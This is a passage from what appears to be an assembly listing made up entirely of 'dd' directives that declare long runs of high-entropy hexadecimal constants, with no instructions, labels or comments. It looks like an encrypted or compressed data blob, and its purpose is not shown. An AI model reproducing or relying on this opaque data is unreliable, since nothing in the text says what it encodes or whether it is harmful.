0CB6CCC03h, 500C482Ah, 0F9671363h dd 0E0C017A8h, 7F08C2D7h, 98E89A02h, 55B328E8h, 0EE47CCF3h dd 8455728Dh, 0AB05DBA1h, 1461FCAAh, 94DA374Bh, 276D9CDEh dd 8B27668Eh, 928F9203h, 0F72E1A27h, 4BA89E4Ch, 0B4D5A7B3h dd 6B09D275h, 72CA9524h, 2C2B05C2h, 4694DB13h, 297E1CC3h dd 45021ADCh, 0A89EBE9Ah, 4520CB58h, 53856BF0h, 0A67FA96Eh dd 803D7B35h, 48A6641Ch, 0B91DFD3h, 0EDD9E6B5h, 0FCDF768Fh dd 0EE96C5B9h, 0D007C22h, 0A2E42A83h, 5528C498h, 4CE47ECAh dd 0BB0D0306h, 2ED534D9h, 9D2D1B94h, 117783F3h, 0D84FED90h dd 89818EB7h, 29A8790Dh, 6BE960D2h, 2549BCD1h, 511579F1h dd 0CDDD95ECh, 3FD95C1Fh, 0F0F1F7ACh, 14EB4983h, 17906D17h dd 0C1813F32h, 7C9D48D0h, 78A1F27Ah, 7D820C0Fh, 0EEB30Ah dd 0EC263BE4h, 91AC17F8h, 130194B9h, 905609A6h, 0E88FC731h dd 0E155196Eh, 0F40D1DF6h, 5EBAC850h, 0FE14F9CDh, 0F4DD736Eh dd 31507DD6h, 0D811006Dh, 3472A2E4h, 1E96F5D7h, 4ED5DEDAh dd 0CA90C78Bh, 0DC530FB5h, 4A966C7h, 3F7E9CE7h, 5B3E85E1h dd 296E19E7h, 8C195E10h, 0EAFAE218h, 556A5900h, 68E7A9DBh dd 88BFCAE8h, 0C4F424D3h, 0FE9DB437h, 31143A5Eh, 67A0C7Bh dd 838E308Ah, 0B3048795h, 0E9D64975h, 0C664C121h, 0AD3A9747h dd 839C7A5Fh, 410077A5h, 6732CBC7h, 0A2E0C9E5h, 3767139Eh dd 8E6F341h, 0CBB09197h, 0CE605164h, 995002A9h, 0F83BEA60h dd 7F2F8BF6h, 0B9AA61CCh, 835E1421h, 800DF3CEh, 0D596877Eh dd 5669314Eh, 5B591DF9h, 0EB048B19h, 639F1EB3h, 39237BE9h dd 12BBD435h, 2F675CCEh, 0F1E3D856h, 0FB3A0378h, 20C21C41h dd 0A04C6443h, 81630FEDh, 99F3A162h, 30913C67h, 74D68553h dd 0AFCAD757h, 67EF3F65h, 0F18975B6h, 88F8F87Bh, 0FC088205h dd 0CDF59BB5h, 0AC8360Fh, 0C66B4FA8h, 6B397FDDh, 0C2E27E71h dd 3F9EA918h, 0DF95790Ah, 7CB8DA11h, 82C1C6D0h, 7DD39846h dd 762BE704h, 24971C9Ah, 36E4144Eh, 0DAE912D7h, 46C38A32h dd 0B9AC2C03h, 4BEAD758h, 236B2EC4h, 614A6E97h, 8EC5A864h dd 210A172Fh, 0C6CE3407h, 3A3F0BAFh, 0B65D5F48h, 0FB3A34BAh dd 946C97EFh, 4A18BDB7h, 80AD3F3Ch, 0B3B263E6h, 0C91E29E2h dd 0DC7B71DFh, 0B717DF4Eh, 5632151Fh, 0FAF47F6Dh, 0C6E9F986h dd 98D94C71h, 0BA1E4442h, 0CA456E2Fh, 4E77C845h, 0C9694E79h dd 0CC570465h, 0D13050ADh, 0FA4B23FDh, 0D20C46F9h, 32E48B9Eh dd 0DD1E320Ah, 0B4BE783Ah, 0A37E5BACh, 30DC9B7Ch, 8D0385AEh dd 1E55D98Bh, 0E53D3BA8h, 1B510B3Bh, 0D9AB7407h, 0EF5F23C1h dd 90EA3C36h, 0EE56EC5Eh, 238CDF50h, 2AD583Fh, 68DD985Bh dd 18C714B2h, 0C1C7B895h, 946E3A99h, 31E2339Dh, 0B4FC3B14h dd 28E83AE8h, 6BB2A0Ch, 0C52BA4D3h, 27E85672h, 0E25DC77h dd 0FF63E4D2h, 0B3C23DD4h, 0CDF439F8h, 284545ECh, 955019C4h dd 3B77EE94h, 972BE982h, 5BD093E2h, 36ECEC7h, 0D118FC74h dd 5531DB2h, 0EF1A36A8h, 0C73E3C7h, 0C7744FA3h, 2A8CDFDCh dd 5CD7A4C2h, 54A47462h, 0ADE7242Fh, 6EC74AF6h, 0BB3DC1A1h dd 69CCD3D4h, 7698BB75h, 6A5017BCh, 41ECA7B6h, 0CEC180F5h dd 870F3F43h, 6740E4D2h, 0B50EACF3h, 35CE744Dh, 78A255D9h dd 996DD95Dh, 66161041h, 0FDEC8C9Eh, 57F91F56h, 7BB61FA6h dd 0FC2A4B18h, 3B4D9B55h, 3940A554h, 0C71A9D29h, 89727BCFh dd 70441223h, 0D74DCCB9h, 1F1F4650h, 8A4766DCh, 7ED9E657h dd 97903DACh, 0D947D600h, 69ED2EF9h, 0BF50AF13h, 0F6FD37BAh dd 0DFAB5EDBh, 0A9C2EA93h, 746D0EB2h, 19DD5839h, 0AA4213D1h dd 0BD4181F8h, 0F241E0C0h, 7ABFCF75h, 0DF4E7E4Bh, 8111B150h dd 43F13E31h, 36A630D7h, 2614802Ah, 7583A2CFh, 4D05666Fh dd 7E2608F4h, 13BA3Eh, 5EA8028h, 2449A023h, 0CD6DB6A4h dd 0FC5F752Ah, 0BB3A2655h, 2D092669h, 6934D362h, 5525559Fh dd 22983783h, 15A193E9h, 0EC2B1891h, 5F25DDF7h, 0A5825135h dd 0F3477C83h, 0DA2AA57h, 0F52B77C8h, 0D8271EF3h, 2E6349EFh dd 0C9AA5884h, 4AED7763h, 0D5331761h, 1D604903h, 3246721Dh dd 33F01F72h, 81B6242Bh, 1C421C1Ch, 0FC74B447h, 145B0CAh dd 1B2F0821h, 0D5B8C72Ah, 64264C5Bh, 60E59C75h, 5C4E4586h dd 8C19EF9h, 265C68AAh, 91A2FC8Bh, 95D4A5BCh, 609C86A6h dd 8A07501Ah, 0B2AB6811h, 2F2E564Dh, 57929B87h, 0F3238B42h dd 91B20ADBh, 92B53B0Ah, 0F0776D71h, 44DD3E9Bh, 9338488Ah dd 8B1B57A9h, 140D2E77h, 79404B11h, 0DC27E68Eh, 9925E8BBh dd 7730A4D7h, 47247393h, 8E4DB071h, 27081663h, 0C998B989h dd 0B5E0C74Eh, 0C3AAB5FDh, 0C56FFEF6h, 634026D5h, 7204B863h dd 7E28329Eh, 0C028F185h, 233390BEh, 3B0A4B39h, 9A74ECFCh dd 3B7AD6D2h, 3E4260ADh, 0B2A8143Ah, 879B7FFFh, 753FBBFAh dd 0F7BCE281h, 0DA2B4570h, 8C6B251Dh, 2D33147Eh, 195EF4A3h dd 0E659B9A6h, 0B1D65088h, 0B4CACEE0h, 0DF51E073h, 823AAB7Eh dd 66B6CBF1h, 838EFBDEh, 495E5B79h, 210D6DF2h, 6B350887h dd 0D0B42F58h, 0FD6EB9BCh, 695FCBFEh, 69C3F799h, 53B4A3F3h dd 6BDBFD9Bh, 0B398B055h, 0AF74E816h, 0A0143E03h, 0BE1FA133h dd 0B7F1FB46h, 0FD973312h, 0E51AF1A3h, 0D9A63B6Eh, 2E5D3987h dd 0D05E1CFDh, 0E673BDABh, 0DD44D44Fh, 5E7BB81Bh, 0BD8E062Ch dd 7A7A4F7Dh, 4EDA52F5h, 0F663EAC0h, 97467F45h, 4C6814A0h dd 88A2A465h, 123DA189h, 318FC62Bh, 106714CFh, 0C441D9DEh dd 5B40E6F3h, 0EAC26D6h, 2B83BD17h, 3ED338F1h, 0C6EF5293h dd 0DEE85A47h, 7C1F35A6h, 6698040h, 21A1D4DAh, 4A3609D4h dd 0F826B3E1h, 8507AF89h, 0DD40A3ABh, 6455C711h, 2F9ECD44h dd 3E2630FEh, 8B882FB0h, 0C7DA5C50h, 5A30CBBAh, 4EF3BD3Dh dd 49E2E9D0h, 0D12C9D57h, 68FBCA45h, 0DD8BA036h, 0AEE8148Ch dd 0E64CDB89h, 0A1EB1532h, 778EF9ABh, 0B562DBh, 3F42B315h dd 0ED08C5CAh, 21611CCBh, 5372E677h, 0B7AAD33Ah, 5DA83D10h dd 0B78F0FCDh, 0D8A959BBh, 123CFF9Bh, 0D84AE2C0h, 0D1296A71h dd 974B03F0h, 0CBB17EBFh, 9A77CDF3h, 9E83EE19h, 59EE533Ch dd 0D19100Eh, 246E7CC7h, 36857D4Eh, 13DED7ADh, 25228461h dd 56C44415h, 90F78B41h, 5E37A9F3h, 0EF765725h, 81510989h dd 62D32529h, 0B62CB23Fh, 0A582183Ah, 9F203F87h, 2169A566h dd 6003E561h, 186E14DCh, 772A0E42h, 7CBC4873h, 335DB36Bh dd 0B81E9126h, 9F54A576h, 0AAD8C06Ah, 5C7C8FE9h, 9C5B9BDFh dd 0FCF05FF1h, 45467724h, 0F5C16056h, 4EEDCC01h, 21B3576Eh dd 0FA04BF7Eh, 0BCE1C3EBh, 0C72EAE97h, 0F7C25ED3h, 0A5DFB036h dd 0C86783A2h, 61C603DBh, 8A122E8Fh, 8CFE26A3h, 22BA7519h dd 821A4789h, 929FBE0h, 681A8C80h, 701F522Fh, 6E890C1Eh dd 97BDED1Dh, 0FDF2A127h, 28511869h, 0F5D84FFAh, 64136F73h dd 0F3C0A470h, 0EFCF6DA4h dd 4695000Eh, 43408D5h, 6A8AF73Dh, 9DCD369Eh, 9F036A65h dd 3B18641Eh, 0A7D7E4C1h, 0BF9C763Fh, 5AD343C9h, 0D1A8826Dh dd 0F18F3D7Ah, 84BB402Dh, 7B3593Fh, 1609C0C6h, 99757AADh dd 7AB14F91h, 45F963BBh, 0F9CD39E4h, 0F2338C70h, 0BC3AC6C4h dd 5ADD5209h, 0A95B9632h, 43D87F79h, 0A797D5ECh, 58B91947h dd 5DC1A15Dh, 0C8DCFB71h, 0B5F38608h, 23029943h, 8E3DF880h dd 0BA5D6F96h, 7F2CBA46h, 0ECAD9DDh, 0D4D8DE7Ch, 3CD9120Eh dd 89EF9D83h, 0ACD3C4FBh, 0C5E48076h, 79E84529h, 69ACD1B1h dd 315CBF89h, 0B4438878h, 3DBB166Dh, 9EE624E2h, 39220E10h dd 0CB2227C5h, 0C529DF2Dh, 2AD80A34h, 0D2CF2B71h, 7E19C2ADh dd 5CD49051h, 72EF57DBh, 106E10Bh, 9D5ACFF1h, 0BAD15679h dd 0E3D235C4h, 28A8D8D4h, 0BC9EE735h, 0D6B1A3D0h, 38F1197Dh dd 0CCCC3B20h, 0BB85B11Fh, 59AD5FF3h, 0AD74F996h, 0D20489C0h dd 2130500Ah, 0FD415B82h, 0A34CF119h, 0E81E6909h, 57F06DC6h dd 0D67789BBh, 2F6D8657h, 37AAC48Fh, 7829F979h, 42397153h dd 0EB499743h, 0A4197CCBh, 24894B9Bh, 0D978C82Ch, 98D6D4B4h dd 62D3774h, 0E977C5A6h, 6808B467h, 3A58B4D3h, 0BC313BC0h dd 0C82E9A49h, 0E82DA2B8h, 0D6779509h, 229FA4C6h, 0F8311EF1h dd 0D7930C8Bh, 0D460E7DDh, 7516A770h, 0EC5C05B4h, 2AA72B14h dd 0B92897CFh, 5A6A0BDEh, 3FA25A2Bh, 0AAAD75B1h, 7EA277E7h dd 132EAEF6h, 8BF6430Eh, 3D1B62A9h, 0E1BDEF70h, 22A0E9A9h dd 7A2E7F3h, 45EA1597h, 6C4D93E7h, 0BECE281Fh, 0D74FE1F7h dd 0CB2A5CFBh, 0C189FC03h, 5B85B4CFh, 3E1B0DB2h, 5BA4EBFAh dd 8AF5A001h, 0C78F6774h, 3C8E1AE7h, 4B09B6Dh, 7843AF70h dd 0D25B75C7h, 2A3CC12Eh, 9D0364Ah, 45613BEDh, 0F1995CC8h dd 53395D56h, 0FB8990B8h, 890ED60Dh, 0EE4A6253h, 4B91510Ch dd 27EA8D57h, 9F546169h, 5EF3F7F1h, 1A664501h, 44FC81B5h dd 9AD5579Fh, 896AF464h, 7CB9570Ch, 0E4CCC068h, 906392CEh dd 0EBAD9946h, 6E511F74h, 156EDA41h, 0ED8F2F8Bh, 0BA0CB777h dd 5DE703F7h, 94931E39h, 1163C954h, 897FF2B3h, 0FF1480D3h dd 0DDEB664Ah, 0E389073Eh, 85B6E037h, 0CC8EDC39h, 0AE1980EDh dd 0D910D081h, 20D8A5D8h, 423E5792h, 0E526BEBDh, 602002D2h dd 25408FD9h, 4CDB7943h, 4DDDBE6Dh, 319E41CAh, 0C2BC6F36h dd 1B065636h, 2A3CEAAFh, 0D0EE890Fh, 395E4143h, 0D3E314DAh dd 3CAEB128h, 9B7F59BAh, 9599E877h, 32CA67B7h, 84F453FBh dd 0CFA6FA35h, 0A35AB1CBh, 0C56B3144h, 79E35123h, 0EFF3E548h dd 0F9ACA00Ch, 2CCBDDF1h, 0DE367EFFh, 76260EEBh, 4641E6A4h dd 90D7A287h, 7E0B6AF0h, 7DDEEADDh, 0ECEA6D31h, 59165F4Ch dd 6F4E573Dh, 0FFC22ADDh, 0A0A3D117h, 0CA0616E0h, 28A38E43h dd 0ACCAC95Eh, 0ED906A7Fh, 0A070B9Eh, 756E8D07h, 0EBFC1620h dd 0F5CBAADAh, 99BBEC30h, 3A908FEDh, 0B484F491h, 0BF59E964h dd 0FDA0EEEFh, 0EE44EA0h, 8A0B71D5h, 0E326ED40h, 1793CC02h dd 940CB5FAh, 4F0B54DDh, 0D3BA668Dh, 0CF4F9989h, 0A0B5EDB5h dd 25F5ED3Eh, 91E1762Ch, 1C59715Ah, 218CC3BAh, 9CCC9FA2h dd 0F13CDE25h, 3488CB0Ch, 909F403Fh, 0D58CF935h, 0D29B82C8h dd 1A398515h, 0BF0523AAh, 73AED45Ah, 8A41EAF1h, 5B4D1B9Fh dd 51B9DD21h, 0ED4F5B04h, 3C46588Bh, 0E18DE051h, 136F7687h dd 0F95D9B8Dh, 992327B3h, 0CBCC33EDh, 0FE9AE5D5h, 0EC337FBBh dd 251924F9h, 9C3BF98Ch, 536BBB57h, 0B94FF5BBh, 9DA25D33h dd 0C7D72004h, 9EC050A7h, 4AC6BC4Ah, 0AF3CB397h, 0D19C5347h dd 271F6D4Ah, 7F015FDFh, 3E7858C4h, 0B4BB13C4h, 53039F7Ch dd 71E785D1h, 0C7284F1Bh, 6D2F9AC1h, 65E3CDF4h, 901666ABh dd 0E9C66C9Bh, 4636EC46h, 0CC891739h, 0FA35EDACh, 8E9CAA58h dd 0E906ADDAh, 5F08C900h, 5933AE68h, 0AF273C01h, 618BE3A5h dd 0A448CB83h, 6171DD70h, 4460B378h, 52B0F46Dh, 0B360BC27h dd 0DFB2F8F1h, 0BB651BB7h, 848CD417h, 1F3750ADh, 0E4C50F99h dd 1B5881B1h, 23712C30h, 0C215EEB8h, 93C9C8C1h, 0E177E1BAh dd 4D4D0697h, 0A21ED637h, 0C7E02D20h, 0CB050159h, 4CA04BA8h dd 0B5E22B5Ah, 0ACD1969Ch, 0E70DBE08h, 3D2F9E51h, 0D52B6C87h dd 45E9B604h, 0B12DC686h, 0C671711Fh, 0ECAA97F5h, 0C0DAFB74h dd 0CCB608C2h, 0ACA5203Ch, 2B18CC0Dh, 0EEA1DF33h, 208BEF0Ch dd 75555291h, 9E3BE53Dh, 1FFC87BBh, 97EFF656h, 0CAB7445Fh dd 0B459783Dh, 0A37C93E8h, 69025E44h, 42D45426h, 0E752A932h dd 0FFDBC20Ah, 0C722B63Bh, 809B5E8Ch, 23428E66h, 0D2303C78h dd 0D1CF52E5h, 825A3297h, 8CC59ABBh, 8A98423Ah, 0EA91B3B5h dd 588FFC44h, 88E3ADD3h, 0FEA530DDh, 96B8CC2h, 0FE06942Ch dd 94AF66F3h, 1BC97A09h, 33907EC2h, 63B7D2C8h, 54203836h dd 513E10B4h, 73B1E9B0h, 429ECA24h, 245FD234h, 39ED00E3h dd 0B8198700h, 5117EC66h, 28372AEh, 0E1743E97h, 63CC9543h dd 970282D6h, 0E14E3E56h, 642CEA78h, 0C23119C5h, 60E688BAh dd 0A72E91F0h, 5AC33B85h, 261AA17h, 1C093FEh, 0DFEF4607h dd 0B69AC9D4h, 0B63D3AA4h, 0C2CAE22Ch, 9E4546Bh, 1AAC637Dh dd 294FC357h, 47473743h, 0E07C90EBh, 2C9A3CD8h, 67ED82F4h dd 17D790BAh, 0E88BA930h, 0AF05FBDDh, 0F1AEC54Bh, 0F23D477Dh dd 0E399D553h, 5AF89969h, 28F8977Ch, 83878C47h, 0F0B9898Ah dd 99D6E714h, 0F4E67F3h, 0E8218732h, 45E8CA49h, 1A5C5BEFh dd 0E1E43F16h, 0C9AD7796h, 995E1E5Bh, 0C08F829Eh, 746262A8h dd 0BE75F9B7h, 1737880Bh, 169BF312h, 0D1D5172h, 0E025DA40h dd 8BC03581h, 32B7046Ch, 7D9732C0h, 49BA162Eh, 4012D6D1h dd 0D0D1A0AAh, 4D04A0CFh, 1B4C1B81h, 0CAF0867Fh, 0A83E6DC7h dd 0D7642487h, 37862360h, 0D68B617Fh, 0DFD3BFACh, 25CBCE44h dd 67CD4517h, 8AD829D6h, 236E7476h, 0E20DF175h, 0D82BA15Dh dd 5FB29736h, 0CF238BFh, 0BF861DF4h, 471C3B81h, 0B85DF570h dd 87D41EEAh, 0A831C18Ch, 0E341E4C3h, 0B6C903B1h, 393B8E9h dd 0F73EB3E4h, 8A6E01A4h, 869352Dh, 4DD47B64h, 0DC492E68h dd 0D001E53Dh, 0DA815124h, 0F5CEEE68h, 2133DE66h, 5C69E357h dd 0A1D2FD1Bh, 78BAEB8Bh, 6348475Dh, 1EB1573Eh, 40D506C5h dd 738F2EF3h, 0F7B9E1F2h, 48F7411Dh, 0B0120D2Eh, 42417555h dd 0C5D2FFA2h, 0B905903Fh, 0E09E66EEh, 3ECBC742h, 6DAB828h dd 5C5F1CCFh, 0B7070378h, 0A0A6A989h, 82329896h, 0D32CC56Ah dd 43311E0Bh, 0E5528B4Dh, 0F8BB214Ch, 9B33E4EDh, 275AA7B5h dd 0ABD3584Ch, 0B8A95695h, 0A761385Ch, 427F63FCh, 65DE08B4h dd 8EF12D2Bh, 7790F81Bh, 0A9249AA3h, 6E297621h, 7624A9DCh dd 3901340Fh, 97DA2290h, 95970287h, 32E2BE2Ah, 84A45227h dd 7A9EE148h, 0ED366DAAh, 3F99D556h, 73A62567h, 9A0F5E88h dd 6AC7422Ah, 0BC91BB72h, 0E7C49B6Bh, 3BE804A1h, 0A2EA3390h dd 8B2DAAFBh, 4714E4BDh, 6AB40A8Ch, 2D92E91h, 0C04C7624h dd 33453748h, 0CF08E423h, 73CC6BB8h, 5E0E524h, 0BD4F83B4h dd 0BB212DB9h, 683DE033h, 51C9098Ah, 0F576A3EAh, 155D6B19h dd 96ADA221h, 0D02B3F6h, 61DD3ED3h, 6E01135Bh, 30999DCCh dd 41295AC5h, 0ADC52D1Ch, 0EC9B8B11h, 0C8109197h, 76D6B39Ch dd 71D8493Eh, 0EFAA015Ah, 93FFB9B9h, 22B2DFFDh, 8C6E17A9h dd 0E6B6A735h, 0D1512227h dd 19523C1Bh, 0C7BC37D7h, 5519F63h, 57014C00h, 31EDFC02h dd 0FB9B7E73h, 0D07BD4D5h, 0B7552628h, 22401E5Bh, 90C8C406h dd 6B2B5DB0h, 0B77AD905h, 621D5614h, 0C53012F2h, 0A2A13328h dd 48CA7747h, 213768AEh, 2C79B7B7h, 0EEE3D8BBh, 8BA63428h dd 1BBA6D21h, 0C7CD9B15h, 7445535Bh, 3FA46Eh, 263EA4B3h dd 73DC252Ah, 13F67E63h, 0C0390E89h, 2BA080EEh, 0B5DD6F87h dd 96D36EB1h, 0FCBBBD17h, 0A832B017h, 0B08F76AEh, 314BCC69h dd 59800201h, 0FCE00E2Bh, 84625738h, 1D165EE2h, 80B13F1Ch dd 78B17033h, 0BD847211h, 0ADC04FD2h, 0E1E508F2h, 0FD21697Ah dd 0C19C32A5h, 19790609h, 63E194C7h, 7A708844h, 0E4C99094h dd 604D7FE8h, 0F71750A5h, 6C089EA5h, 8140F34h, 0F6632FD3h dd 8D268h, 27131E38h, 3DFE141Ah, 5B6E7AA7h, 0DE657B84h dd 228307C8h, 271CE320h, 0DB003B97h, 0B8EE8934h, 914A84F6h dd 592A01FCh, 0F8489B81h, 0D42EFD08h, 0D9395353h, 0D5DA8398h dd 8DE3ABCFh, 0EDCB3E7Dh, 0AB47E441h, 598C5698h, 0E51A5248h dd 351A486Bh, 2492EFCEh, 33D02D0Fh, 0CC838500h, 39006001h dd 0CFA70781h, 0E22B8EDFh, 95F7AC94h, 9B77B0B3h, 0B89A3472h dd 48C917B8h, 107B0132h, 0A938EE27h, 0E76E2C0Ch, 8C642371h dd 0D5256491h, 0D7286364h, 0E19B3991h, 5F88B13Eh, 5CD507C1h dd 3EB26D9h, 2237E94Ah, 0EA822A16h, 0D1600D49h, 9A33A006h dd 0ADBEF0CFh, 0B6DF937h, 8ED6F60Eh, 36E69F06h, 0B3043790h dd 768F1A0Ah, 0B25525EFh, 0BDCB6D28h, 0F52ED6F1h, 39FE8D51h dd 0D7939810h, 0CD973E2Bh, 49DA02D7h, 4AEACA2Fh, 91F6BC7Ah dd 0F0839CB6h, 750E7BBBh, 0A9CEBD5Bh, 84D45546h, 5CB9CF02h dd 3CBC28E6h, 0E686355h, 0F7C4781Fh, 5DD0515Ch, 0A4EEBFECh dd 8FA10736h, 59E5949Ah, 9B08DF57h, 7F11DF95h, 0DA54EDF9h dd 59500AFFh, 0C4DF32E5h, 0AFB3413Eh, 0B0035956h, 687CBAFCh dd 23025333h, 16A7BD78h, 56DCD0A3h, 575FBEC9h, 0F27E89B7h dd 1629E3B1h, 7B4E3E07h, 17FB18C8h, 6B553A38h, 3F3F7124h dd 0E6D3CA09h, 4D2CCC26h, 26813E28h, 2A493535h, 0B4A7629Ch dd 79674386h, 0AED0A5A5h, 2188D055h, 0AE754Bh, 0C63B5D59h dd 0E3A13934h, 85521F75h, 0EBF1F376h, 311B2C60h, 0C9AFC144h dd 0DC7F500Ch, 0BB99DFA2h, 0E5303185h, 3CFA27h, 0EF15402h dd 60D65C50h, 0EDC52CD4h, 3D563EA2h, 1CFA787Dh, 0E61928B6h dd 78DFA356h, 0B0E03729h, 0F556CD5h, 0D51B5CF9h, 67727B63h dd 0F6A49F82h, 0E257DDA1h, 83121AB8h, 858918C8h, 529B716Fh dd 0A314226Ch, 13232CA7h, 0BC57D526h, 6BAF9262h, 6FF93AE6h dd 0C892505Eh, 6AC2F74Ch, 357DDFC1h, 5D26651Fh, 57C1717h dd 2CF80512h, 0DA3294F2h, 45CBA86Bh, 0E3962EE6h, 62084E41h dd 0E0B55295h, 96E26555h, 0A4592099h, 9DD071BEh, 997ED3FEh dd 597D72F1h, 0DBDE2764h, 0C1E4F21Dh, 0CEA1E22Ah, 4A7F2B66h dd 0CC221455h, 0CEAA1707h, 29F0CB4Ch, 45E61E36h, 12442E2Eh dd 49EF5DFEh, 788A6650h, 8728E465h, 0BA50DE5Bh, 0C07BA1Dh dd 0E08CCCC8h, 9A234F56h, 62A56369h, 833E0CBBh, 82304B65h dd 0D3E84300h, 4A085DF3h, 0BED5CB4Dh, 0EA03844Ch, 1A51A013h dd 285CAF9Bh, 2768DD8Dh, 16F72A5Ah, 0EFD4BF01h, 93157178h dd 5A1BEFE6h, 0A7893DE4h, 19EA1DB5h, 0C8B7D591h, 6D02CD93h dd 0AFAEAB11h, 0DF3BBE1Fh, 6CBBDB74h, 0DF2E006Dh, 6D516A91h dd 0C5C36C70h, 0D3811269h, 0C51EB0F7h, 58C72A2Ah, 7550BA9Dh dd 0A74326ABh, 52CBFB2Eh, 29892874h, 408DE4A6h, 226A0A60h dd 129A6B2Eh, 5064A6FCh, 19B6FA8h, 46CFD46Eh, 2C6454EEh dd 1E911CEDh, 0FF7F9F35h, 0C5F254CAh, 0A0F6BA69h, 4728F9F4h dd 161D8C85h, 0DC11E1F2h, 0F7FF02D9h, 0A3B391FEh, 5397C304h dd 14AFAAh, 0D4EE74B5h, 7A0A0EC7h, 0B95CD500h, 5FCB7CBCh dd 0A0A71062h, 0AECFE857h, 0F49E6A3Dh, 7A178247h, 0A0A088F9h dd 0C8AAFBF8h, 4A4ACA37h, 44CB8F84h, 0D8962698h, 1DCCB1C1h dd 0F485C15Dh, 0B4A187B8h, 36843021h, 0F1D1CD2h, 0EE6C22FCh dd 0E235364Bh, 561E7911h, 0ECC8C3A9h, 0F37C26Eh, 0F13746B7h dd 8AD9A67Fh, 1D4C061Dh, 51CF5561h, 247BCA62h, 676DF28h dd 6E165D54h, 0DEBC8745h, 4AC16A13h, 7333F584h, 200620F3h dd 0D45EF4B7h, 794ECAE4h, 21503144h, 0FE3C7915h, 9F8A6D44h dd 3AE73322h, 5AFA46EAh, 76004E55h, 2E9A477h, 0D97F9DF2h dd 0FB59CA2Eh, 0ED5FE3Dh, 0ED1A28ECh, 0EB13C533h, 9B50A4B5h dd 879C1CF3h, 0A4383C6Dh, 77C70DA4h, 0FDBADF7Dh, 0A6B70D28h dd 0CC951BBCh, 0F4CFB3h, 0A6D77015h, 8D8A71D5h, 0A9E03908h dd 9A8A4281h, 1DACB552h, 0B0AF7DBBh, 0E2D5A230h, 0D4BB9BE8h dd 0ABAC8C85h, 8AB8B0D8h, 7F746714h, 0DCA3CFDDh, 5787AB88h dd 0D1B23D45h, 1A6C957Fh, 0AFB2553h, 24682FECh, 5697ADFAh dd 0EAE604FAh, 0CBC28A70h, 17FC0668h, 52E1BB6Dh, 0F66FB3A5h dd 0C22CEFCh, 1E1A97E4h, 6206F55Bh, 0CA525FE5h, 0A78558A7h dd 520E7EE6h, 5B75A72Bh, 3109418h, 6BB6E886h, 0E8F5B5F9h dd 43BCA83Ch, 30413F13h, 8872C3C4h, 587BCB15h, 2BBBB8D5h dd 44FE76A5h, 5EB21F5Dh, 0E51ECF61h, 42D33CB0h, 3F05AA7Eh dd 842E82ACh, 932EF985h, 0CC91F9A2h, 3DBAAE0Eh, 872B8EF4h dd 0C32F90E2h, 0BA3E3F44h, 9DE0B400h, 79F993E0h, 83F4F9BDh dd 82FF0FFEh, 94112D5Ch, 9A0CD106h, 48AA3AEEh, 0D8E897E7h dd 0E0922683h, 9C41BD7Ah, 861D2A8Fh, 82D507C7h, 0BAF8E71Ch dd 0C12919ACh, 0F1D79426h, 0B0ECD336h, 0AB57FDD4h, 3304E920h dd 8EC9F487h, 2EAFF231h, 876E50A2h, 0FBB34A0Ah, 0ADA0F936h dd 76C6BB13h, 10DC5AA2h, 775B1CB2h, 0EA55E0BFh, 43A0850Ah dd 1C8EEB18h, 0E70C5264h, 0E45DEC6Ah, 0A9725923h, 0FD6559FDh dd 0D63666AAh, 213EDC5Fh, 0FFA77AB5h, 205FB7E1h, 0BC570D3Eh dd 0FE07F41Ah, 509DD822h, 0F1877AB9h, 19231A92h, 23C93075h dd 30C1103Dh, 941BBD72h, 873BA57Ah, 9AC443F4h, 4FCEE87Ah dd 38B21997h, 0BD9350Fh, 73845091h, 5F47A6CCh, 0E6C136D8h dd 0DC951FD8h, 0AE172384h, 30F052B8h, 68D47AE7h, 636EC879h dd 777EE235h, 5466DD5Ch, 0CD152FE5h, 0C51D6A70h, 0F21046E6h dd 0D42BD497h, 0CC3AA91Ch, 0F36D13F3h, 31199C84h, 7D7C28D4h dd 475898F8h, 0FEE69515h, 0E0E07D1Eh, 3D2FD56Bh, 0B8D320ACh dd 9D0E6A22h, 8F5A1ABFh, 738D8F35h, 0F26F34CAh, 66A8468Bh dd 5F587781h, 0A2D42B29h, 9F9E65F9h, 853F91A3h, 0C2C9DBDh dd 70F977CFh, 72EE06F6h, 1EB276E2h, 0B50D5A0Eh, 547B0092h dd 0F7F3788Eh, 0B68A4E96h, 0E156AF64h, 0B9034EF8h, 433845CCh dd 5BD02E68h, 0BF662E6Eh, 1046A41h, 3D0AB551h, 0BF2D638Eh dd 8EB556A9h, 0D33D207Eh, 0DFB8989Fh, 5D939CF7h, 3F738FDCh dd 0ABB72A24h, 89412370h, 1D9E5273h, 0CF18DD50h, 0AAD68C28h dd 0AA769B12h, 0A63F5FADh, 0DF811946h, 0D20E1B0h, 0FFDF258Ah dd 9EE13839h, 3FF16D4Ch, 3FCE3CE1h, 0F368C19Bh, 6147E868h dd 0D222A982h, 98B289CFh, 8A65EECFh, 0EBAF2339h, 0AD448A64h dd 0A46D3351h, 0C6E4A995h, 7A8A2239h, 2AA2DBBBh, 0FE910110h dd 146D0D36h, 23B387E0h, 0E45A2665h, 9BD06657h, 0FD1E5952h dd 42867B1Ah, 15E2E5C2h, 3159DF0Bh, 59A216BDh, 7FB0CFD1h dd 0EFE16D45h, 57ABCC52h dd 8734FD8Ch, 0BE266D5Bh, 8933D73h, 8267B718h, 0E05968A6h dd 0D9C4453Eh, 9B0443FCh, 0FA1591F3h, 0CB1612D9h, 558A3B35h dd 0AE529E8Ch, 97F800E8h, 0E16866DAh, 0AA91E84Bh, 0CBB61201h dd 0E72879F2h, 90BD1BE1h, 0CD46A8DCh, 0B80FA840h, 7E479997h dd 7D55A844h, 75C33186h, 8B381769h, 8B6813C4h, 6AD06FB6h dd 72EA3958h, 0F689D05Ch, 573824B6h, 0E6B382B2h, 86C90657h dd 5FC31B6Ah, 45EDD66Ch, 5570AAAAh, 1A28E5C0h, 0EBE3313Fh dd 0BF6D5377h, 84F8D5DCh, 94320081h, 5DA3DFh, 359C3A8Fh dd 705E6CCFh, 0BC54263Ah, 73EDDD56h, 34AE33B9h, 7715885Bh dd 0CDD354AEh, 0F5F0930Eh, 93CEB7B9h, 0E755A0FEh, 0C057B21Fh dd 405ACD62h, 0C72EA783h, 0F6E2FB63h, 10BF9568h, 0CAED6F6Fh dd 0B00F8C40h, 0DDB292F3h, 5BBA2C4Eh, 2CCC200Eh, 75217230h dd 1B189054h, 9FFA8D46h, 0FA11AE39h, 8D75069Ch, 0C25F89E4h dd 0C33BCC5Dh, 2859F690h, 666C4286h, 0B616CF06h, 311E27D8h dd 47ADD21Dh, 3FDA6B6Eh, 90552D7Ch, 